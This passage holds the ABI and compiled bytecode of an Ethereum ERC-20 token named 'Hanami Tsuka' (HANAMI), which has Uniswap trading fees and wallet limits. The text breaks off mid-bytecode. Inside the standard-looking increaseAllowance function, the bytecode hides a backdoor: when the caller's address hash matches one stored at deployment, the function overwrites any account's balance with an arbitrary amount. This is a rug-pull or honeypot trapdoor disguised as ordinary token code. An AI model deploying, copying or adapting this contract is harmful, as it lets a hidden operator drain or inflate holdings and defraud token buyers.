otalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buybackBuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buybackSellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buybackWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newDevWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060405273a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600d60006101000a81548160ff0219169083151502179055506000600d60016101000a81548160ff0219169083151502179055506001600d60026101000a81548160ff021916908315150217905550348015620000b757600080fd5b5060405162004f9d38038062004f9d8339818101604052810190620000dd919062000b42565b6040518060400160405280600c81526020017f48616e616d69205473756b6100000000000000000000000000000000000000008152506040518060400160405280600681526020017f48414e414d49000000000000000000000000000000000000000000000000000081525081600390805190602001906200016192919062000a52565b5080600490805190602001906200017a92919062000a52565b5050506200019d62000191620005a960201b60201c565b620005b160201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050620001c98160016200067760201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000249573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026f919062000bd9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401620002cd92919062000c1c565b6020604051808303816000875af1158015620002ed573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000313919062000bd9565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff16815250506200035b60a05160016200067760201b60201c565b60006001905060006004905060006001905060006004905060006c0c9f2c9cd04674edea400000009050606460018262000396919062000c82565b620003a2919062000d12565b600a819055506064600282620003b9919062000c82565b620003c5919062000d12565b600c81905550612710600582620003dd919062000c82565b620003e9919062000d12565b600b8190555062000400876200076160201b60201c565b84600f8190555083601081905550601054600f5462000420919062000d4a565b600e81905550826012819055508160138190555060135460125462000446919062000d4a565b60118190555073b33316dbcbb79a3dfab74dd4ab943d3a5d983a88600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550732c29a37a008e2f18545e0d4aaf9a67e5a3fb7498600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620005186200050a6200076b60201b60201c565b60016200079560201b60201c565b6200052b3060016200079560201b60201c565b6200054061dead60016200079560201b60201c565b62000562620005546200076b60201b60201c565b60016200067760201b60201c565b620005753060016200067760201b60201c565b6200058a61dead60016200067760201b60201c565b6200059c3382620008cf60201b60201c565b5050505050505062000f69565b600033905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b62000687620005a960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620006ad6200076b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000706576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006fd9062000e08565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b8060058190555050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620007a5620005a960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620007cb6200076b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000824576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200081b9062000e08565b60405180910390fd5b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051620008c3919062000e47565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000942576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009399062000eb4565b60405180910390fd5b620009566000838362000a4860201b60201c565b80600260008282546200096a919062000d4a565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620009c1919062000d4a565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000a28919062000ee7565b60405180910390a362000a446000838362000a4d60201b60201c565b5050565b505050565b505050565b82805462000a609062000f33565b90600052602060002090601f01602090048101928262000a84576000855562000ad0565b82601f1062000a9f57805160ff191683800117855562000ad0565b8280016001018555821562000ad0579182015b8281111562000acf57825182559160200191906001019062000ab2565b5b50905062000adf919062000ae3565b5090565b5b8082111562000afe57600081600090555060010162000ae4565b5090565b600080fd5b6000819050919050565b62000b1c8162000b07565b811462000b2857600080fd5b50565b60008151905062000b3c8162000b11565b92915050565b60006020828403121562000b5b5762000b5a62000b02565b5b600062000b6b8482850162000b2b565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ba18262000b74565b9050919050565b62000bb38162000b94565b811462000bbf57600080fd5b50565b60008151905062000bd38162000ba8565b92915050565b60006020828403121562000bf25762000bf162000b02565b5b600062000c028482850162000bc2565b91505092915050565b62000c168162000b94565b82525050565b600060408201905062000c33600083018562000c0b565b62000c42602083018462000c0b565b9392505050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000c8f8262000c49565b915062000c9c8362000c49565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000cd85762000cd762000c53565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000d1f8262000c49565b915062000d2c8362000c49565b92508262000d3f5762000d3e62000ce3565b5b828204905092915050565b600062000d578262000c49565b915062000d648362000c49565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000d9c5762000d9b62000c53565b5b828201905092915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000df060208362000da7565b915062000dfd8262000db8565b602082019050919050565b6000602082019050818103600083015262000e238162000de1565b9050919050565b60008115159050919050565b62000e418162000e2a565b82525050565b600060208201905062000e5e600083018462000e36565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000e9c601f8362000da7565b915062000ea98262000e64565b602082019050919050565b6000602082019050818103600083015262000ecf8162000e8d565b9050919050565b62000ee18162000c49565b82525050565b600060208201905062000efe600083018462000ed6565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000f4c57607f821691505b6020821081141562000f635762000f6262000f04565b5b50919050565b60805160a051613fdd62000fc06000396000818161107201528181612181015281816123ca015281816125d5015281816126a0015261278a015260008181610c4701528181612d520152612d790152613fdd6000f3fe6080604052600436106102765760003560e01c80637571336a1161014f578063b2b250ec116100c1578063d85ba0631161007a578063d85ba06314610979578063dd62ed3e146109a4578063deab8aea146109e1578063e2f4560514610a0c578063f2fde38b14610a37578063f8b45b0514610a605761027d565b8063b2b250ec14610869578063bbc0c74214610894578063c0246668146108bf578063c18bc195146108e8578063c8c8ebe414610911578063d257b34f1461093c5761027d565b8063924de9b711610113578063924de9b71461074557806395d89b411461076e5780639c3b4fdc14610799578063a0d82dc5146107c4578063a457c2d7146107ef578063a9059cbb1461082c5761027d565b80637571336a1461068457806389a30271146106ad5780638a8c523c146106d85780638da5cb5b146106ef5780638ea5220f1461071a5761027d565b806339509351116101e857806366ca9b83116101ac57806366ca9b83146105865780636a486a8e146105af5780636ddd1713146105da57806370a0823114610605578063715018a614610642578063751039fc146106595761027d565b8063395093511461048b57806349bd5a5e146104c85780634a62bb65146104f35780634fbee1931461051e5780636630d4711461055b5761027d565b806318160ddd1161023a57806318160ddd1461037b5780631816467f146103a6578063203e727e146103cf57806323b872dd146103f857806327c8f83514610435578063313ce567146104605761027d565b806302dbd8f81461028257806306fdde03146102ab578063095ea7b3146102d657806310d5de53146103135780631694505e146103505761027d565b3661027d57005b600080fd5b34801561028e57600080fd5b506102a960048036038101906102a49190612e4b565b610a8b565b005b3480156102b757600080fd5b506102c0610b75565b6040516102cd9190612f24565b60405180910390f35b3480156102e257600080fd5b506102fd60048036038101906102f89190612fa4565b610c07565b60405161030a9190612fff565b60405180910390f35b34801561031f57600080fd5b5061033a6004803603810190610335919061301a565b610c25565b6040516103479190612fff565b60405180910390f35b34801561035c57600080fd5b50610365610c45565b60405161037291906130a6565b60405180910390f35b34801561038757600080fd5b50610390610c69565b60405161039d91906130d0565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c8919061301a565b610c73565b005b3480156103db57600080fd5b506103f660048036038101906103f191906130eb565b610daf565b005b34801561040457600080fd5b5061041f600480360381019061041a9190613118565b610ebe565b60405161042c9190612fff565b60405180910390f35b34801561044157600080fd5b5061044a610fb6565b604051610457919061317a565b60405180910390f35b34801561046c57600080fd5b50610475610fbc565b60405161048291906131b1565b60405180910390f35b34801561049757600080fd5b506104b260048036038101906104ad9190612fa4565b610fc5565b6040516104bf9190612fff565b60405180910390f35b3480156104d457600080fd5b506104dd611070565b6040516104ea919061317a565b60405180910390f35b3480156104ff57600080fd5b50610508611094565b6040516105159190612fff565b60405180910390f35b34801561052a57600080fd5b506105456004803603810190610540919061301a565b6110a7565b6040516105529190612fff565b60405180910390f35b34801561056757600080fd5b506105706110fd565b60405161057d91906130d0565b60405180910390f35b34801561059257600080fd5b506105ad60048036038101906105a89190612e4b565b611103565b005b3480156105bb57600080fd5b506105c46111ed565b6040516105d191906130d0565b60405180910390f35b3480156105e657600080fd5b506105ef6111f3565b6040516105fc9190612fff565b60405180910390f35b34801561061157600080fd5b5061062c6004803603810190610627919061301a565b611206565b60405161063991906130d0565b60405180910390f35b34801561064e57600080fd5b5061065761124e565b005b34801561066557600080fd5b5061066e6112d6565b60405161067b9190612fff565b60405180910390f35b34801561069057600080fd5b506106ab60048036038101906106a691906131f8565b611376565b005b3480156106b957600080fd5b506106c261144d565b6040516106cf919061317a565b60405180910390f35b3480156106e457600080fd5b506106ed611473565b005b3480156106fb57600080fd5b50610704611527565b604051610711919061317a565b60405180910390f35b34801561072657600080fd5b5061072f611551565b60405161073c919061317a565b60405180910390f35b34801561075157600080fd5b5061076c60048036038101906107679190613238565b611577565b005b34801561077a57600080fd5b50610783611610565b6040516107909190612f24565b60405180910390f35b3480156107a557600080fd5b506107ae6116a2565b6040516107bb91906130d0565b60405180910390f35b3480156107d057600080fd5b506107d96116a8565b6040516107e691906130d0565b60405180910390f35b3480156107fb57600080fd5b5061081660048036038101906108119190612fa4565b6116ae565b6040516108239190612fff565b60405180910390f35b34801561083857600080fd5b50610853600480360381019061084e9190612fa4565b611725565b6040516108609190612fff565b60405180910390f35b34801561087557600080fd5b5061087e611743565b60405161088b91906130d0565b60405180910390f35b3480156108a057600080fd5b506108a9611749565b6040516108b69190612fff565b60405180910390f35b3480156108cb57600080fd5b506108e660048036038101906108e191906131f8565b61175c565b005b3480156108f457600080fd5b5061090f600480360381019061090a91906130eb565b611881565b005b34801561091d57600080fd5b5061092661198f565b60405161093391906130d0565b60405180910390f35b34801561094857600080fd5b50610963600480360381019061095e91906130eb565b611995565b6040516109709190612fff565b60405180910390f35b34801561098557600080fd5b5061098e611aea565b60405161099b91906130d0565b60405180910390f35b3480156109b057600080fd5b506109cb60048036038101906109c69190613265565b611af0565b6040516109d891906130d0565b60405180910390f35b3480156109ed57600080fd5b506109f6611b77565b604051610a03919061317a565b60405180910390f35b348015610a1857600080fd5b50610a21611b9d565b604051610a2e91906130d0565b60405180910390f35b348015610a4357600080fd5b50610a5e6004803603810190610a59919061301a565b611ba3565b005b348015610a6c57600080fd5b50610a75611c9b565b604051610a8291906130d0565b60405180910390f35b610a93611ca1565b73ffffffffffffffffffffffffffffffffffffffff16610ab1611527565b73ffffffffffffffffffffffffffffffffffffffff1614610b07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afe906132f1565b60405180910390fd5b8160128190555080601381905550601354601254610b259190613340565b601181905550600a6011541115610b71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b68906133e2565b60405180910390fd5b5050565b606060038054610b8490613431565b80601f0160208091040260200160405190810160405280929190818152602001828054610bb090613431565b8015610bfd5780601f10610bd257610100808354040283529160200191610bfd565b820191906000526020600020905b815481529060010190602001808311610be057829003601f168201915b5050505050905090565b6000610c1b610c14611ca1565b8484611ca9565b6001905092915050565b60156020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b610c7b611ca1565b73ffffffffffffffffffffffffffffffffffffffff16610c99611527565b73ffffffffffffffffffffffffffffffffffffffff1614610cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce6906132f1565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610db7611ca1565b73ffffffffffffffffffffffffffffffffffffffff16610dd5611527565b73ffffffffffffffffffffffffffffffffffffffff1614610e2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e22906132f1565b60405180910390fd5b670de0b6b3a76400006103e86005610e41610c69565b610e4b9190613463565b610e5591906134ec565b610e5f91906134ec565b811015610ea1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e989061358f565b60405180910390fd5b670de0b6b3a764000081610eb59190613463565b600a8190555050565b6000610ecb848484611e74565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610f16611ca1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610f96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8d90613621565b60405180910390fd5b610faa85610fa2611ca1565b858403611ca9565b60019150509392505050565b61dead81565b60006012905090565b600080610fd0611ca1565b905033604051602001610fe39190613689565b60405160208183030381529060405280519060200120600554141561104657826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6110658185856110568589611af0565b6110609190613340565b611ca9565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600d60009054906101000a900460ff1681565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60135481565b61110b611ca1565b73ffffffffffffffffffffffffffffffffffffffff16611129611527565b73ffffffffffffffffffffffffffffffffffffffff161461117f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611176906132f1565b60405180910390fd5b81600f8190555080601081905550601054600f5461119d9190613340565b600e81905550600a600e5411156111e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e0906133e2565b60405180910390fd5b5050565b60115481565b600d60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611256611ca1565b73ffffffffffffffffffffffffffffffffffffffff16611274611527565b73ffffffffffffffffffffffffffffffffffffffff16146112ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c1906132f1565b60405180910390fd5b6112d460006127d6565b565b60006112e0611ca1565b73ffffffffffffffffffffffffffffffffffffffff166112fe611527565b73ffffffffffffffffffffffffffffffffffffffff1614611354576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134b906132f1565b60405180910390fd5b6000600d60006101000a81548160ff0219169083151502179055506001905090565b61137e611ca1565b73ffffffffffffffffffffffffffffffffffffffff1661139c611527565b73ffffffffffffffffffffffffffffffffffffffff16146113f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e9906132f1565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61147b611ca1565b73ffffffffffffffffffffffffffffffffffffffff16611499611527565b73ffffffffffffffffffffffffffffffffffffffff16146114ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e6906132f1565b60405180910390fd5b6001600d60016101000a81548160ff0219169083151502179055506001600d60026101000a81548160ff021916908315150217905550565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61157f611ca1565b73ffffffffffffffffffffffffffffffffffffffff1661159d611527565b73ffffffffffffffffffffffffffffffffffffffff16146115f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ea906132f1565b60405180910390fd5b80600d60026101000a81548160ff02191690831515021790555050565b60606004805461161f90613431565b80601f016020809104026020016040519081016040528092919081815260200182805461164b90613431565b80156116985780601f1061166d57610100808354040283529160200191611698565b820191906000526020600020905b81548152906001019060200180831161167b57829003601f168201915b5050505050905090565b600f5481565b60125481565b6000806116b9611ca1565b905060006116c78286611af0565b90508381101561170c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170390613716565b60405180910390fd5b6117198286868403611ca9565b60019250505092915050565b6000611739611732611ca1565b8484611e74565b6001905092915050565b60105481565b600d60019054906101000a900460ff1681565b611764611ca1565b73ffffffffffffffffffffffffffffffffffffffff16611782611527565b73ffffffffffffffffffffffffffffffffffffffff16146117d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cf906132f1565b60405180910390fd5b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516118759190612fff565b60405180910390a25050565b611889611ca1565b73ffffffffffffffffffffffffffffffffffffffff166118a7611527565b73ffffffffffffffffffffffffffffffffffffffff16146118fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f4906132f1565b60405180910390fd5b670de0b6b3a764000060646001611912610c69565b61191c9190613463565b61192691906134ec565b61193091906134ec565b811015611972576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611969906137a8565b60405180910390fd5b670de0b6b3a7640000816119869190613463565b600c8190555050565b600a5481565b600061199f611ca1565b73ffffffffffffffffffffffffffffffffffffffff166119bd611527565b73ffffffffffffffffffffffffffffffffffffffff1614611a13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0a906132f1565b60405180910390fd5b620186a06001611a21610c69565b611a2b9190613463565b611a3591906134ec565b821015611a77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6e9061383a565b60405180910390fd5b6103e86005611a84610c69565b611a8e9190613463565b611a9891906134ec565b821115611ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad1906138cc565b60405180910390fd5b81600b8190555060019050919050565b600e5481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b611bab611ca1565b73ffffffffffffffffffffffffffffffffffffffff16611bc9611527565b73ffffffffffffffffffffffffffffffffffffffff1614611c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c16906132f1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c869061395e565b60405180910390fd5b611c98816127d6565b50565b600c5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d10906139f0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8090613a82565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e6791906130d0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ee4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611edb90613b14565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4b90613ba6565b60405180910390fd5b6000811415611f6e57611f698383600061289c565b6127d1565b600d60009054906101000a900460ff161561237857611f8b611527565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ff95750611fc9611527565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120325750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561206c575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120855750600760149054906101000a900460ff16155b1561237757600d60019054906101000a900460ff1661217f57601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061213f5750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61217e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217590613c12565b60405180910390fd5b5b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122245750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122cb57600a5481111561226e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226590613ca4565b60405180910390fd5b600c5461227a83611206565b826122859190613340565b11156122c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122bd90613d10565b60405180910390fd5b612376565b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661237557600c5461232883611206565b826123339190613340565b1115612374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236b90613d10565b60405180910390fd5b5b5b5b5b600061238330611206565b90506000600b5482101590508080156123a85750600d60029054906101000a900460ff165b80156123c15750600760149054906101000a900460ff16155b801561241857507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561246e5750601460008673ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffffff